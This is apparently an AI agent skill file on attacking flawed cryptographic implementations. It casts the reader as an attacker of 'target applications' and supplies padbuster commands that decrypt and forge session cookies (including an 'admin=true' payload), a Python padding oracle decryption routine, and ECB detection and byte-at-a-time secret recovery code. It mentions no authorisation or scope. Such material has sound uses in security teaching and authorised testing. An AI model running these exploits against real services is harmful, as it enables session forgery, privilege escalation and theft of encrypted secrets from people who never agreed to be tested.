offensive-crypto-attacks

# Cryptographic Implementation Attacks

You are performing offensive cryptographic analysis against target applications. This skill covers the identification and exploitation of flawed cryptographic implementations -- not breaks against the underlying mathematical primitives, but against the ways developers misuse them. You treat every encrypted blob, signed token, and hashed value as a potential attack surface.

## Quick Workflow

1. Identify cryptographic touchpoints -- cookies, tokens, API parameters, stored credentials, signed URLs.
2. Fingerprint the algorithm and mode -- measure ciphertext length behavior, detect block alignment, check for Base64/hex encoding layers.
3. Classify the vulnerability class -- padding oracle, ECB determinism, weak MAC construction, RSA parameter weakness, PRNG predictability.
4. Select and configure the appropriate tool or custom script.
5. Execute the attack, decrypt or forge the target value.
6. Document the cryptographic weakness, its root cause, and the remediation path.

---

## Padding Oracle Attacks

Padding oracle attacks exploit systems that reveal whether CBC-mode decrypted plaintext has valid PKCS7 padding. A single bit of information -- valid or invalid padding -- is sufficient to decrypt any ciphertext block or forge arbitrary plaintext without knowing the key.

Identify the oracle by submitting modified ciphertext and observing differential responses. The oracle can manifest as distinct HTTP status codes, different error messages, timing differences, or behavioral changes in application logic.

Use padbuster for automated exploitation against web applications:

```bash
# Decrypt an encrypted cookie value
# URL is the endpoint, EncryptedValue is the target, BlockSize is typically 8 or 16
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid"

# Forge a new plaintext value using the discovered oracle
padbuster http://target.com/app?token=EncryptedValue EncryptedValue 16 \
  -cookies "session=EncryptedValue" \
  -encoding 0 \
  -error "invalid" \
  -plaintext "admin=true;user=attacker"
```

Build a custom padding oracle exploit when padbuster cannot handle the target's encoding or transport:

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import requests
import struct

def oracle(iv, ciphertext, url):
    """Return True if the server accepts the padding."""
    payload = (iv + ciphertext).hex()
    resp = requests.get(url, params={"data": payload})
    return resp.status_code != 500  # Adapt to your oracle signal

def decrypt_block(prev_block, cipher_block, url, block_size=16):
    """Decrypt a single block via Vaudenay's attack."""
    intermediate = bytearray(block_size)
    plaintext = bytearray(block_size)

    for byte_pos in range(block_size - 1, -1, -1):
        pad_val = block_size - byte_pos
        crafted_iv = bytearray(block_size)

        # Set already-recovered bytes to produce correct padding
        for k in range(byte_pos + 1, block_size):
            crafted_iv[k] = intermediate[k] ^ pad_val

        for guess in range(256):
            crafted_iv[byte_pos] = guess
            if oracle(bytes(crafted_iv), cipher_block, url):
                # Handle the ambiguity on the last byte
                if byte_pos == block_size - 1:
                    crafted_iv[byte_pos - 1] ^= 1
                    if not oracle(bytes(crafted_iv), cipher_block, url):
                        continue
                intermediate[byte_pos] = guess ^ pad_val
                plaintext[byte_pos] = intermediate[byte_pos] ^ prev_block[byte_pos]
                break

    return bytes(plaintext)
```

---

## ECB Block Manipulation

ECB mode encrypts each block independently with the same key, producing identical ciphertext for identical plaintext blocks. This determinism enables two primary attacks: cut-and-paste block rearrangement and byte-at-a-time decryption.

Detect ECB mode by encrypting repeated plaintext and checking for repeated ciphertext blocks:

```python
def detect_ecb(ciphertext, block_size=16):
    """Detect ECB mode by finding duplicate blocks."""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    return len(blocks) != len(set(blocks))

# Probe an encryption oracle for ECB
# Send 3 blocks of identical bytes -- if 2+ output blocks match, it is ECB
probe = b"A" * (block_size * 3)
ciphertext = encryption_oracle(probe)
if detect_ecb(ciphertext):
    print("ECB mode confirmed")
```

Perform byte-at-a-time decryption against an oracle that appends a secret before encrypting:

```python
def byte_at_a_time_ecb(oracle_func, block_size=16):
    """Recover secret appended by an ECB encryption oracle."""
    recovered = b""

    # Determine the total secret length
    baseline_len = len(oracle_func(b""))

    for i in range(baseline_len):
        block_index = (len(recovered)) // block_size
        # Craft input so the target byte is the last byte of a block
        pad_len = block_size - 1 - (len(recovered) % block_size)
        padding = b"A" * pad_len

        # Get the target block
        target_ct = oracle_func(padding)
        target_block = target_ct[block_index * block_size:(block_index + 1) * block_size]

        # Brute-force the unknown byte
        for byte_val in range(256):
            test_input = padding + recovered + bytes([byte_val])
            test_ct = oracle_func(test_input)
            test_block = test_ct[block_index * block_size:(block_index + 1) * block_size]
            if test_block == target_block:
                recovered += bytes([byte_val])
                break

    return recovered
```

ECB cut-and-paste attacks rearrange ciphertext blocks to produce valid plaintext with attacker-controlled content. Target any system where structured data (JSON, key=value pairs, serialized objects) is ECB-encrypted and the attacker controls part of the input.

---